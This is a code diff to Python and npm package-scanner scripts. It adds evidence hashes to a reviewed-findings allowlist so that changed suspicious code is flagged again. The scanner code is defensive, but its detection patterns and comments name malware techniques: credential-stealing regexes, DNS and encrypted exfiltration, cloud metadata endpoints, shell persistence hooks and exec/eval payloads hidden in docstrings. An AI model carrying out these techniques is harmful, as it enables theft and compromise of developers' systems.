def _finding_key(f: Finding) -> tuple[str, str, str, str]:
"""Allowlist key: normalized package, package-relative path, pattern, and a
hash of the matched evidence -- so changed flagged code under an already-listed
package/path/pattern reopens instead of riding the reviewed entry."""
return (
_norm_pkg_name(f.package),
_relpath_in_package(f.filename),
f.pattern,
_evidence_hash(f.evidence or f.detail),
)
def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
try:
with open(path, "r", encoding = "utf-8") as fh:
@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
except (OSError, json.JSONDecodeError) as exc:
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
return set()
if not isinstance(data, dict):
print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)
return set()
entries = data.get("entries", [])
if entries and data.get("version") != _BASELINE_SCHEMA_VERSION:
if not isinstance(entries, list):
print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)
return set()
# v2 shares v3's package-relative keying, so its entries migrate by recomputing
# the evidence hash from their stored evidence; only pre-v2 (basename) is rejected.
if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2):
print(
f" [WARN] baseline schema v{data.get('version')} predates package-relative "
f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.",
file = sys.stderr,
)
return set()
keys: set[tuple[str, str, str]] = set()
keys: set[tuple[str, str, str, str]] = set()
legacy = 0
for e in entries:
if not isinstance(e, dict):
continue
try:
keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"]))
evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
if not e.get("evidence_hash"):
legacy += 1
keys.add(
(
_norm_pkg_name(e["package"]),
_relpath_in_package(e["file"]),
e["pattern"],
evidence_hash,
)
)
except (KeyError, TypeError):
continue
if legacy:
print(
f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
f"not suppress until regenerated with --write-baseline (findings reopen "
f"rather than risk hiding changed code under a coarse key)",
file = sys.stderr,
)
return keys
def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int:
"""Persist at-or-above-threshold findings as an allowlist for triage."""
entries = []
seen: set[tuple[str, str, str]] = set()
seen: set[tuple[str, str, str, str]] = set()
for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)):
if _SEVERITY_RANK[f.severity] > threshold_rank:
continue
@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
if key in seen:
continue
seen.add(key)
evidence = f.evidence or f.detail
entries.append(
{
"package": _norm_pkg_name(f.package),
"file": _relpath_in_package(f.filename),
"pattern": f.pattern,
"severity": f.severity,
"evidence": (f.evidence or f.detail)[:240],
"evidence": evidence,
"evidence_hash": _evidence_hash(evidence),
}
)
doc = {
"_comment": (
"scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL "
"finding manually judged benign. Matched on (package, "
"package-relative path, pattern); evidence/severity are for review "
"only. Regenerate with --write-baseline AFTER reviewing every line."
"package-relative path, pattern, evidence hash); a new payload under "
"an already-listed package/path/pattern reopens. severity is for "
"review only. Regenerate with --write-baseline AFTER reviewing every line."
),
"version": _BASELINE_SCHEMA_VERSION,
"entries": entries,
@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
def _partition_baseline(
findings: list[Finding], baseline: set[tuple[str, str, str]]
findings: list[Finding], baseline: set[tuple[str, str, str, str]]
) -> tuple[list[Finding], list[Finding]]:
"""Split findings into (active, suppressed) by allowlist membership."""
if not baseline:

4
scripts/scan_npm_packages_baseline.json
View file

@ -1,5 +1,5 @@
{
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"version": 2,
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"version": 3,
"entries": []
}

595
scripts/scan_packages.py
View file

@ -43,9 +43,10 @@ False positives:
examples and `>>>` doctests cannot trip a finding. Residual findings that
are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored
test fixture) are suppressed via a reviewed baseline allowlist, matched on
(package, basename(file), check). A NEW kind of finding in an already-listed
file is a different check and still fails. This mirrors the Hugging Face Hub
approach (ClamAV/picklescan: low-FP, signature/structural, surface status).
(package, package-relative file, check, evidence hash). A new check, or
changed flagged code under the same check, reopens the finding; version
bumps and line shifts do not. This mirrors the Hugging Face Hub approach
(ClamAV/picklescan: low-FP, signature/structural, surface status).
Exit codes:
0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline)
@ -55,6 +56,8 @@ Exit codes:
import argparse
import atexit
import bisect
import hashlib
import io
import json
import os
@ -156,6 +159,9 @@ RE_EMBEDDED_KEYS = re.compile(
re.DOTALL,
)
# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence.
RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL)
# Cloud metadata / IMDS endpoints
RE_CLOUD_METADATA = re.compile(
r"169\.254\.169\.254" # AWS/Azure/GCP IMDS
@ -476,22 +482,26 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
# Large base64 blob
if RE_LARGE_BLOB.search(content):
blob = RE_LARGE_BLOB.search(content).group()
# Digest every blob (not just the first 120 chars, and not just the
# first blob), so a later payload that keeps the prefix or appends a
# second encoded blob reopens.
blob, digest = _blob_digest(content)
findings.append(
Finding(
CRITICAL,
package,
filename,
f".pth has large base64-like blob ({len(blob)} chars)",
blob[:120] + "...",
f"{blob[:120]}... sha256:{digest}",
)
)
# Catch-all: any import line in .pth if nothing else triggered
# Catch-all: any import line in .pth if nothing else triggered. Bind every
# line through a digest so an appended/swapped import reopens the key, but cap
# the displayed text so a large .pth of benign-looking imports cannot dump up
# to the archive member cap into the logs or baseline JSON.
if not findings and import_lines:
evidence = "\n".join(import_lines[:5])
if len(import_lines) > 5:
evidence += f"\n... ({len(import_lines)} import lines total)"
evidence = _cap_line("\n".join(import_lines))
findings.append(
Finding(
HIGH,
@ -505,13 +515,15 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
# Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes)
size = len(content)
if size > 500 and import_lines:
# Pin the content so a different payload of the same size/import count reopens.
digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
findings.append(
Finding(
HIGH,
package,
filename,
f"Unusually large executable .pth ({size} bytes)",
f"{len(import_lines)} import line(s) in {size}-byte .pth file",
f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}",
)
)
@ -629,6 +641,13 @@ def _hidden_payload_findings(
removed = "".join(o if o != s else " " for o, s in zip(original, code))
out = []
# The visible exec/eval line is what makes the hidden string executable, so
# bind it into every finding's evidence: otherwise a reviewed false positive
# that keeps the same hidden text but flips a harmless `eval("1+1")` to
# `exec(__doc__)` (now running the payload) keeps the same key and stays
# suppressed. Taken from `stripped` (real code), where the exec/eval lives.
trigger = _extract_evidence(stripped, RE_EXEC_EVAL)
def _hidden(pat):
# Carrier present in a blanked region but NOT in real code. A carrier in
# real code is already caught by the normal check, so restricting to
@ -643,7 +662,7 @@ def _hidden_payload_findings(
package,
filename,
"exec/eval with payload hidden in a docstring/string",
f"{label}: {_extract_evidence(removed, pat)}",
f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}",
)
)
# Fetch-then-run dropper: a network call AND an os/subprocess exec that both
@ -657,7 +676,9 @@ def _hidden_payload_findings(
package,
filename,
"exec/eval with hidden network+exec payload",
f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}",
f"exec: {trigger}\n"
f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | "
f"{_extract_evidence(removed, RE_SUBPROCESS)}",
)
)
return out
@ -717,14 +738,19 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
# openssl encryption + network/key material (encrypted exfiltration)
if has_openssl_cli and (has_network or has_keys):
# Bind whichever side(s) co-occur so a changed endpoint or key reopens.
evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"]
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if has_keys:
evidence.append(f"Key: {_embedded_key_evidence(content)}")
findings.append(
Finding(
CRITICAL,
package,
filename,
"openssl encryption + network/key material (encrypted exfiltration)",
f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
"\n".join(evidence),
)
)
@ -896,6 +922,10 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
# Obfuscated payload: base64 + exec/eval + large blob
if has_base64 and has_exec_eval and has_blob:
# Digest every blob too: a payload may sit on a separate line from the
# decode call, and a second encoded blob may be appended later, so
# binding only the base64/exec lines or the first blob would miss it.
_, blob_digest = _blob_digest(content)
findings.append(
Finding(
HIGH,
@ -903,7 +933,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
filename,
"base64 decode + exec/eval + large encoded blob",
f"Base64: {_extract_evidence(content, RE_BASE64)}\n"
f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}",
f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n"
f"Blob: sha256:{blob_digest}",
)
)
@ -928,32 +959,48 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"Embedded cryptographic key + network calls (encrypted exfil pattern)",
f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n"
f"Key: {_embedded_key_evidence(content)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
)
)
# Anti-analysis + any other suspicious pattern
if has_anti and (has_network or has_subprocess or has_exec_eval):
# Bind the suspicious side too so a changed payload reopens.
evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"]
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if has_subprocess:
evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}")
if has_exec_eval:
evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}")
findings.append(
Finding(
HIGH,
package,
filename,
"Anti-analysis/sandbox evasion + suspicious behavior",
f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}",
"\n".join(evidence),
)
)
# DNS exfiltration with dynamic hostnames
if has_dns_exfil and (has_base64 or has_network or has_creds):
# Bind the co-occurring side so a changed exfil channel reopens.
evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"]
if has_base64:
evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}")
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if has_creds:
evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}")
findings.append(
Finding(
HIGH,
package,
filename,
"DNS exfiltration / tunneling patterns",
_extract_evidence(content, RE_DNS_EXFIL),
"\n".join(evidence),
)
)
@ -1064,7 +1111,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"Embedded cryptographic key material",
_extract_evidence(content, RE_EMBEDDED_KEYS),
_embedded_key_evidence(content),
)
)
@ -1107,39 +1154,349 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
return findings
_MAX_MULTILINE_LINES = 12
# How far a single matched call is followed over its bracket continuations. A call
# that genuinely closes is bound all the way to its real close, up to the hard
# limit, so a ``requests.post(`` with many option/header lines before ``data=``
# binds its whole argument list in the digest and a changed payload on a late
# continuation line reopens (a 40-line soft cap would hash only the first 40 lines
# and let a later ``data=``/headers change ride the baseline key). A bracket that
# never closes within the hard limit is a miscount (a multi-line string the
# single-line blanker cannot mask) or a stray opener, so it is bound only to the
# soft cap and cannot swallow unrelated code.
_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed
_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it
# Cap a single rendered line. A short line is shown verbatim; a long (e.g.
# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full
# line, so a packed payload cannot dump unbounded content into the evidence and
# baseline while a change past the cutoff still changes the digest and reopens the
# finding. The npm scanner bounds its snippets the same way.
_MAX_LINE_CHARS = 200
# Cap on recorded spans in one evidence string; beyond it the remaining spans are
# folded into a digest so a file with thousands of matching lines cannot build a
# multi-megabyte evidence blob, while an added/removed span past the cap still
# changes the key. Comfortably above the largest real baseline entry.
_MAX_EVIDENCE_SPANS = 96
def _cap_line(code: str) -> str:
"""Bound a single line's displayed code: return it verbatim when short, else a
``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still
pinned (fail-closed) without recording the entire line."""
if len(code) <= _MAX_LINE_CHARS:
return code
digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}"
_PY_TRIPLE = ("'''", '"""')
def _ends_with_odd_backslash(s: str) -> bool:
"""True if ``s`` ends with an odd run of backslashes, i.e. a trailing
backslash that escapes the newline (a string/line continuation) rather than a
literal ``\\\\`` pair."""
return (len(s) - len(s.rstrip("\\"))) % 2 == 1
# Single-line quoted string literal; blanks complete one-line strings (the legacy
# view) so the single-line and multi-line blanked spans can be unioned below.
_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"")
def _blank_code_strings(lines: list[str]) -> list[str]:
"""Replace string contents (single- and triple-quoted, escapes honoured) with
spaces across ``lines``, keeping the line count and every bracket OUTSIDE a
string intact. Bracket counting then never miscounts a ``)`` that lives inside
a string -- including a triple-quoted string spanning several lines, which a
per-line regex cannot blank."""
out: list[str] = []
in_triple: str | None = None # active ''' or \"\"\" delimiter, or None
in_string: str | None = None # active ' or " continued via a trailing backslash
for line in lines:
buf: list[str] = []
i, n = 0, len(line)
while i < n:
if in_triple is not None:
end = line.find(in_triple, i)
if end == -1:
buf.append(" " * (n - i))
i = n
else:
buf.append(" " * (end - i + 3))
i = end + 3
in_triple = None
continue
if in_string is not None:
# A single-/double-quoted string continued onto this line by a
# backslash-escaped newline. Resume blanking until its closing quote;
# if this line also ends on an odd trailing backslash the string
# continues again, otherwise it closes (or is unterminated) here. A
# per-line regex blanker cannot see this, so a `)` on the
# continuation line would otherwise be counted as code and close the
# call early -- dropping the URL/body lines that follow.
j, closed = i, False
while j < n:
if line[j] == "\\":
j += 2
continue
if line[j] == in_string:
j += 1
closed = True
break
j += 1
buf.append(" " * (min(j, n) - i))
if closed:
in_string = None
i = j
else:
i = n
if not _ends_with_odd_backslash(line):
in_string = None # unterminated without continuation; stop
continue
ch = line[i]
if ch in "'\"":
if line[i : i + 3] in _PY_TRIPLE:
delim = line[i : i + 3]
end = line.find(delim, i + 3)
if end == -1: # opens a triple string that runs past this line
buf.append(" " * (n - i))
in_triple = delim
i = n
else:
buf.append(" " * (end - i + 3))
i = end + 3
continue
j = i + 1 # single-line string; skip to its closing quote
closed = False
while j < n:
if line[j] == "\\":
j += 2
continue
if line[j] == ch:
j += 1
closed = True
break
j += 1
buf.append(" " * (min(j, n) - i))
if closed:
i = j
else:
# Ran off the line without closing: an odd trailing backslash
# escapes the newline and continues the string onto the next
# line, so remember the quote; otherwise it is just unterminated.
i = n
if _ends_with_odd_backslash(line):
in_string = ch
continue
buf.append(ch)
i += 1
out.append("".join(buf))
return out
_RE_BRACKETS = re.compile(r"[()\[\]{}]")
_OPENERS = frozenset("([{")
def _bracket_lr(line: str) -> tuple[int, int]:
"""Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
where ``L`` is the count of closers with no opener earlier on the line (they
need an opener to the LEFT / a prior line) and ``R`` is the count of openers
with no closer later on the line (they need a closer to the RIGHT / a later
line). A plain net count (opens minus closes) collapses order and so masks a
trailing opener that follows leading closers on the same line, e.g.
``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged
call; tracking the running minimum keeps that opener visible so the call's
argument lines still bind. Only bracket characters are walked (pulled out with
one C-level regex pass) so a long minified line stays cheap."""
depth = 0
low = 0
for ch in _RE_BRACKETS.findall(line):
if ch in _OPENERS:
depth += 1
else:
depth -= 1
if depth < low:
low = depth
return -low, depth - low
def _scan_line_end(view: list[str], start: int) -> int:
"""1-based line where the statement at ``start`` closes its brackets in
``view`` (one blanked view of the file). A call that closes is followed to its
real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a
bracket that never closes within that hard limit (a stray/miscounted opener) is
bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file.
Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0)
so a closer that precedes the opener on the same line does not cancel it."""
depth = 0
hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1)
for j in range(start, hard + 1):
ln = view[j - 1]
left, right = _bracket_lr(ln)
depth = max(0, depth - left) + right
if ln.rstrip().endswith("\\"):
continue # explicit backslash continuation: the call (e.g. its `(` and
# URL/body) is on the next physical line, so do not close here
if depth <= 0:
return j
# Never closed within the hard limit: bind only the soft cap so a stray opener
# cannot bind a giant unrelated span.
return min(len(view), start + _MAX_CALL_LINES - 1)
def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int:
"""1-based line where the statement opened at ``start`` closes, so a multi-line
call binds its argument lines (a changed URL/body on a continuation line
reopens, not just the API line). Returns the LARGER of the spans found in the
single-line-blanked view (legacy: a payload embedded inside a string still
counts, so its brackets bind the call) and the multi-line-blanked view (a
bracket inside a triple-quoted string argument no longer closes the call
early). Taking the union never shrinks the bound span below either view, so
neither blanking strategy can drop a continuation line a malicious change
relies on."""
return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start))
def _extract_evidence(
content: str,
pattern: re.Pattern,
max_matches: int = 3,
max_matches: int = 0,
) -> str:
"""Pull matching lines as evidence snippets.
"""Pull matching lines as evidence snippets (``max_matches=0`` means all).
Falls back to a whole-content search when the pattern only matches across
line boundaries (several IOC regexes use ``re.DOTALL``). Without this an
anti-analysis / archive-staging finding could report empty evidence, making
the baseline entry impossible to review.
Records every matching line in full, not a truncated sample, so an extra
match (or extra code on a long line) appended to an already-flagged file
changes the evidence and the baseline key instead of riding the first few.
Leading whitespace is kept so a flagged line moved out of a guarded block
reads as changed. Each single-line match is extended over bracket
continuations so a multi-line call binds its argument lines too. Cross-line
matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line
construct appended under a check that already had a one-line match) are
recorded afterwards, so an added multiline payload reopens the finding. A
pathological greedy span is bounded to its head line plus a digest of the
rest.
"""
lines = content.splitlines()
matches = []
sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines]
ml_blanked = _blank_code_strings(lines)
out = []
seen: set[tuple[int, int]] = set()
# Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS
# rendered spans, every further span is folded straight into a running digest
# instead of being materialized and sliced off at the end. On a minified or
# padded file with hundreds of thousands of matching lines that keeps memory
# and work bounded to the display cap rather than the match count, while the
# digest still covers every overflow span so an over-cap payload change
# reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly
# (strip each span to its non-empty L<NN>-less code lines, join with "\n"), so
# the digest is identical to buffering the whole list and canonicalizing once.
overflow_count = 0
overflow_hash = hashlib.sha256()
overflow_started = False
def _emit(rendered: str) -> None:
nonlocal overflow_count, overflow_started
if len(out) < _MAX_EVIDENCE_SPANS:
out.append(rendered)
return
overflow_count += 1
for piece in _RE_EVIDENCE_SPLIT.split(rendered):
piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip()
if not piece:
continue
if overflow_started:
overflow_hash.update(b"\n")
overflow_hash.update(piece.encode("utf-8", "replace"))
overflow_started = True
def _render(start: int, end: int) -> str:
span = lines[start - 1 : end] or ["<multiline match>"]
if len(span) > _MAX_MULTILINE_LINES:
# Digest the code without the L<NN>: markers so a pure line shift of
# the same span stays stable while a code change still reopens. The
# head is truncated for display only; the span digest already binds
# its full content, so no per-line digest is needed here.
code = "\n".join(ln.rstrip() for ln in span)
digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
head = span[0].rstrip()
if len(head) > _MAX_LINE_CHARS:
head = head[:_MAX_LINE_CHARS] + "..."
return f"L{start}: {head} sha256:{digest}"
return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span))
for i, line in enumerate(lines, 1):
if pattern.search(line):
snippet = line.strip()
if len(snippet) > 160:
snippet = snippet[:160] + "..."
matches.append(f"L{i}: {snippet}")
if len(matches) >= max_matches:
break
if matches:
return " | ".join(matches)
# Multiline (DOTALL) match: report the line where the match begins.
m = pattern.search(content)
if m:
line_no = content.count("\n", 0, m.start()) + 1
snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else ""
if len(snippet) > 160:
snippet = snippet[:160] + "..."
return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: <multiline match>"
return ""
span = (i, _logical_line_end(sl_blanked, ml_blanked, i))
if span in seen:
continue
# Only track spans while still filling the display list: past the cap
# every span is folded into the overflow digest, so growing `seen` with
# all of them would keep memory proportional to the match count (the
# behavior this cap exists to bound) on a generated file with millions
# of one-line matches. The per-line spans are unique by line number, so
# dropping them from `seen` past the cap cannot cause a missed dedup
# here; at worst the fallback re-folds an over-cap span into the same
# digest, which stays deterministic and still reopens on a change.
if len(out) < _MAX_EVIDENCE_SPANS:
seen.add(span)
_emit(_render(*span))
if max_matches and len(out) >= max_matches:
return " | ".join(out)
# Precompute newline offsets once so mapping a match offset to its 1-based line
# is O(log n) (bisect) rather than O(n) (content.count) per match; the latter
# made this fallback quadratic on a minified file with thousands of matches.
nl = [p for p, ch in enumerate(content) if ch == "\n"]
for m in pattern.finditer(content):
start = bisect.bisect_left(nl, m.start()) + 1
end = bisect.bisect_left(nl, m.end()) + 1
if end <= start or (start, end) in seen:
continue # single-line matches are already covered by the pass above
# A giant greedy DOTALL span is bound by the full digest of its content
# (via _render, which renders a >12-line span as a head line plus a sha256
# of the whole span). Binding only the anchors leaves the bridged interior
# unhashed, so an attacker could insert a new cross-line payload (a `/tmp`
# line and a later `subprocess` line, sharing no single line so the
# per-line pass never binds them) between unchanged outer anchors and keep
# the same key. Digesting the interior reopens on any such change; a pure
# line shift stays stable because the digest is over the markerless code.
if len(out) < _MAX_EVIDENCE_SPANS:
seen.add((start, end))
_emit(_render(start, end))
if max_matches and len(out) >= max_matches:
break
if overflow_count:
# The overflow digest was accumulated from the canonicalized (L<NN>:-less)
# spans as they were emitted, so a pure line shift above the overflow
# region does not change it and reopen an otherwise-unchanged finding,
# matching the per-span key's line-shift stability.
out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
return " | ".join(out)
def _embedded_key_evidence(content: str) -> str:
"""Key evidence that also pins the full PEM block(s) via a digest, so a key
body swapped under the same BEGIN marker reopens the finding (single-line and
DER keys are already bound by their full matched line)."""
ev = _extract_evidence(content, RE_EMBEDDED_KEYS)
blocks = RE_PEM_BLOCK.findall(content)
if blocks:
digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest()
ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}"
return ev
def _blob_digest(content: str) -> tuple[str, str]:
"""First large blob (for display) plus a digest binding EVERY large blob, so
an appended or swapped encoded payload reopens the finding rather than riding
an unchanged first blob. Assumes at least one blob is present (single-blob
files keep the prior single-blob digest, so the baseline does not drift)."""
blobs = RE_LARGE_BLOB.findall(content)
digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest()
return blobs[0], digest
# Non-Python checkers
@ -1189,7 +1546,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"JS embeds credential regexes AND makes network calls (stealer)",
_extract_evidence(content, RE_TOKEN_REGEX),
f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
)
)
if has_workflow_inj:
@ -1202,18 +1560,31 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
_extract_evidence(content, RE_WORKFLOW_INJECT),
)
)
if is_large and not findings:
findings.append(
Finding(
HIGH,
package,
filename,
# Size stays in evidence, not the check label, so the baseline key
# does not drift when a wheel's bundle grows by a few KB.
"Python wheel ships large JS bundle (uncommon; manually review)",
f"{len(content) // 1024} KB JS bundle",
# Pin the whole file's content digest to EVERY JS finding (not just large
# bundles). _extract_evidence blanks only Python string forms before counting
# brackets, so a JS backtick template literal that contains `)` can close a
# call's span early and omit the option/body lines that follow; binding the
# full content means a change to those omitted lines still reopens instead of
# riding the matched-line evidence. A large bundle with no other heuristic is a
# standalone HIGH.
if findings or is_large:
digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
if findings:
for f in findings:
f.evidence = f"{f.evidence} bundle-sha256:{digest}"
else:
findings.append(
Finding(
HIGH,
package,
filename,
# Size stays out of the check label (from main) so the baseline
# key does not drift when a benign bundle grows; the full-content
# digest below still binds the bytes so a payload swap reopens.
"Python wheel ships large JS bundle (uncommon; manually review)",
f"sha256: {digest}",
)
)
)
return findings
@ -1233,6 +1604,12 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
if RE_DEV_TOOL_HIJACK.search(content) and (
RE_NETWORK.search(content) or RE_SUBPROCESS.search(content)
):
# Bind the hook AND the network/exec signal so a changed exfil reopens.
evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"]
if RE_NETWORK.search(content):
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if RE_SUBPROCESS.search(content):
evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}")
findings.append(
Finding(
CRITICAL,
@ -1240,7 +1617,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
filename,
"Shell installs developer-tool persistence hook (.bashrc / "
"profile.d / vscode tasks) AND has network or exec",
_extract_evidence(content, RE_DEV_TOOL_HIJACK),
"\n".join(evidence),
)
)
if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content):
@ -1250,7 +1627,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
package,
filename,
"Shell embeds credential regexes AND makes network calls",
_extract_evidence(content, RE_TOKEN_REGEX),
f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
)
)
if RE_WORKFLOW_INJECT.search(content):
@ -2517,9 +2895,9 @@ def _find_requirements_files(root: str) -> list[str]:
# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can
# enforce without drowning in legitimate-library noise. Matched on
# ``(package, basename(filename), check)`` -- not evidence text -- so a version
# bump does not reopen a finding, but a *new* kind of finding in a listed file
# is a different check and still fails. Regenerate with ``--write-baseline``.
# (package, package-relative file, check, evidence hash); the hash strips
# ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry,
# but changed flagged code does. Regenerate with ``--write-baseline``.
_DEFAULT_BASELINE_PATH = os.path.join(
os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json"
@ -2546,16 +2924,54 @@ def _relpath_in_package(filename: str) -> str:
return _RE_SDIST_ROOT.sub("", filename, count = 1)
def _finding_key(f: Finding) -> tuple[str, str, str]:
"""Stable allowlist key: normalized package, package-relative path, check.
# Evidence joins matched spans with " | " and a newline between labelled groups,
# each span tagged "L<NN>: ". Split only on those real delimiters (a " | " before
# a marker, or a newline), never on a bare "|" -- matched code may contain a
# bitwise-or or union type. The prefix strips only a genuine leading marker, an
# optional "Label: " then "L<NN>: "; a marker-like "L<NN>:" inside raw code (e.g.
# a .pth import line) has no leading marker and is left intact.
_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n")
_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?")
The package-relative path (not just basename) keeps the key stable across
version bumps while still distinguishing same-named files like ``utils.py``.
def _canon_evidence(evidence: str) -> str:
"""Matched code lines in discovery order (markers removed), duplicates kept.
Splits evidence on its real span delimiters, drops each span's leading
label / line-number marker, and keeps the code with its indentation. Line
shifts are absorbed by stripping the L<NN>: markers, not by sorting, so order
stays significant: reordering matched lines (executable context, e.g. the
arguments of a multi-line call) reopens the finding. Keeping duplicates means
an appended identical occurrence still changes the key."""
spans = []
for s in _RE_EVIDENCE_SPLIT.split(evidence or ""):
s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip()
if s:
spans.append(s)
return "\n".join(spans)
def _evidence_hash(evidence: str) -> str:
"""Stable digest of the canonical matched evidence."""
return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest()
def _finding_key(f: Finding) -> tuple[str, str, str, str]:
"""Allowlist key: package, package-relative path, check, evidence hash.
The evidence hash is over the set of matched code, so the key survives version
bumps, line shifts and reordering but reopens when the flagged code changes --
